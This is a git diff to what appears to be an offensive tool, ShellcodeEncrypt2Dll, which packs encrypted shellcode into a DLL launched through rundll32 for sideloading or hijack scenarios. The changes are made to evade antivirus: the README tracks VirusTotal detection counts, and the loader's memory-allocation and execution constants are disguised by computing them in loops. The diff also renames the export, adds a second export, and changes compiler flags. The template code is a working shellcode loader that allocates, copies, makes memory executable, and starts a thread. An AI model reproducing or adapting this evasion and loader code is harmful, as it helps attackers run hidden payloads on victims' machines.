diff --git a/README.md b/README.md index b06f0f7..806c832 100644 --- a/README.md +++ b/README.md @@ -9,6 +9,7 @@ Two modes: - standalone: To make an encrypted DLL **WITH** KEY stored in the DLL. You can use it for sideload/hijack or in a printnightmare-like scenario. VT: 2/72 (13/3/2025) +VT: 3/72 (14/3/2025) ![ShellcodeEncrypt2Dll_vs_VT](https://raw.githubusercontent.com/restkhz/blogImages/main/img/屏幕截图_20250313_050702.png) @@ -38,16 +39,16 @@ Then you will get a `shell.dll` For non-standalone: ``` -rundll32 ,EntryPoint +rundll32 ,EPoint ``` You can make you own exe to load this DLL with KEY as well. For standalone: ``` -rundll32 ,EntryPoint +rundll32 ,EPoint ``` -As you see, standalone and non-standalone both have `EntryPoint` as export function. +As you see, standalone and non-standalone both have `EPoint` as export function. diff --git a/ShellcodeEncrypt2Dll.py b/ShellcodeEncrypt2Dll.py index c61dfad..c2d5e74 100644 --- a/ShellcodeEncrypt2Dll.py +++ b/ShellcodeEncrypt2Dll.py @@ -103,14 +103,14 @@ python ShellcodeEncrypt2Dll.py --standalone shellcode.raw if args.standalone: print("STANDALONE mode") - command = ['x86_64-w64-mingw32-g++', 'template.cpp', '--shared', '-O2', '-fvisibility=hidden', '-DSTANDALONE', '-Wl,--dynamicbase', '-Wl,--nxcompat', '-DNDEBUG', '-s', '-o', 'shell.dll'] + command = ['x86_64-w64-mingw32-g++', 'template.cpp', '--shared', '-O0', '-fvisibility=hidden', '-DSTANDALONE', '-fpermissive', '-Wl,--dynamicbase', '-Wl,--nxcompat', '-DNDEBUG', '-s', '-o', 'shell.dll'] print("You can use it for sideload/hijack or in a printnightmare-like scenario.") - print("Or just simply: rundll32 ,EntryPoint") + print("Or just simply: rundll32 ,EPoint") elif args.non_standalone: print("NON-STANDALONE mode:") - command = ['x86_64-w64-mingw32-g++', 'template.cpp', '--shared', '-O2', '-fvisibility=hidden', '-Wl,--dynamicbase', '-Wl,--nxcompat', '-DNDEBUG', '-s', '-o', 'shell.dll'] - print(f"Try to run on target: rundll32 ,EntryPoint {KEY.decode()}") + command = ['x86_64-w64-mingw32-g++', 'template.cpp', '--shared', '-O0', '-fvisibility=hidden', '-Wl,--dynamicbase', '-fpermissive','-Wl,--nxcompat', '-DNDEBUG', '-s', '-o', 'shell.dll'] + print(f"Try to run on target: rundll32 ,EPoint {KEY.decode()}") try: print("[+] Compiling") result = subprocess.run(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) diff --git a/template.cpp b/template.cpp index ee5df1d..ec4ba87 100644 --- a/template.cpp +++ b/template.cpp @@ -124,8 +124,19 @@ void CALLBACK run(void) { return; } - LPVOID allocMem = dynVirtualAlloc(NULL, payloadLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + int t=1; + int page_readwrite = 0; + int page_execute_read = 0; + int zero = 3; + int mem_commit_mem_reserve = 0; + for (int i=0; i<4; i++) page_readwrite +=t; + for (int i=0; i<0x20; i++) page_execute_read+=t; + for (int i=0; i<3; i++) zero -= t; + for (int i=0; i<0x3000; i++) mem_commit_mem_reserve+=t; + + LPVOID allocMem = dynVirtualAlloc(NULL, payloadLen, mem_commit_mem_reserve, page_readwrite); if (!allocMem) { + free(key); return; } @@ -133,16 +144,18 @@ void CALLBACK run(void) { dynMoveMemory(allocMem, payload, payloadLen); DWORD oldProtect; - if (!dynVirtualProtect(allocMem, payloadLen, PAGE_EXECUTE_READ, &oldProtect)) { + if (!dynVirtualProtect(allocMem, payloadLen, page_execute_read, &oldProtect)) { + free(key); return; } - HANDLE tHandle = dynCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)allocMem, NULL, 0, NULL); + HANDLE tHandle = dynCreateThread(zero, 0, (LPTHREAD_START_ROUTINE)allocMem, zero, zero, zero); if (!tHandle) { + free(key); return; } WaitForSingleObject(tHandle, INFINITE); - ((void(*)())allocMem)(); + //((void(*)())allocMem)(); } #else void CALLBACK run(char* key, DWORD keyLen) { @@ -153,8 +166,18 @@ void CALLBACK run(char* key, DWORD keyLen) { free(key); return; } + + int t=1; + int page_readwrite = 0; + int page_execute_read = 0; + int zero = 3; + int mem_commit_mem_reserve = 0; + for (int i=0; i<4; i++) page_readwrite +=t; + for (int i=0; i<0x20; i++) page_execute_read+=t; + for (int i=0; i<3; i++) zero -= t; + for (int i=0; i<0x3000; i++) mem_commit_mem_reserve+=t; - LPVOID allocMem = dynVirtualAlloc(NULL, payloadLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + LPVOID allocMem = dynVirtualAlloc(NULL, payloadLen, mem_commit_mem_reserve, page_readwrite); if (!allocMem) { free(key); return; @@ -164,18 +187,18 @@ void CALLBACK run(char* key, DWORD keyLen) { dynMoveMemory(allocMem, payload, payloadLen); DWORD oldProtect; - if (!dynVirtualProtect(allocMem, payloadLen, PAGE_EXECUTE_READ, &oldProtect)) { + if (!dynVirtualProtect(allocMem, payloadLen, page_execute_read, &oldProtect)) { free(key); return; } - HANDLE tHandle = dynCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)allocMem, NULL, 0, NULL); + HANDLE tHandle = dynCreateThread(zero, 0, (LPTHREAD_START_ROUTINE)allocMem, zero, zero, zero); if (!tHandle) { free(key); return; } WaitForSingleObject(tHandle, INFINITE); - ((void(*)())allocMem)(); + free(key); } @@ -183,7 +206,7 @@ void CALLBACK run(char* key, DWORD keyLen) { // Entry for rundll32 extern "C" __declspec(dllexport) -void CALLBACK EntryPoint(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow) { +void CALLBACK EPoint(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow) { #ifdef USE_HEADER_KEY // Mode1: standalone. KEY was coded into dll. run(); @@ -200,6 +223,25 @@ DWORD WINAPI ThreadProc(LPVOID lpParam) { } #endif +extern "C" __declspec(dllexport) +void CALLBACK meow(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow) { +#ifdef USE_HEADER_KEY + // Mode1: standalone. KEY was coded into dll. + run(); +#else + // Mode2: key was NOT coded into dll. + run(lpszCmdLine, lstrlenA(lpszCmdLine)); +#endif +} + +#ifdef USE_HEADER_KEY +DWORD WINAPI ThreadProc(LPVOID lpParam) { + run(); + return 0; +} +#endif + + BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: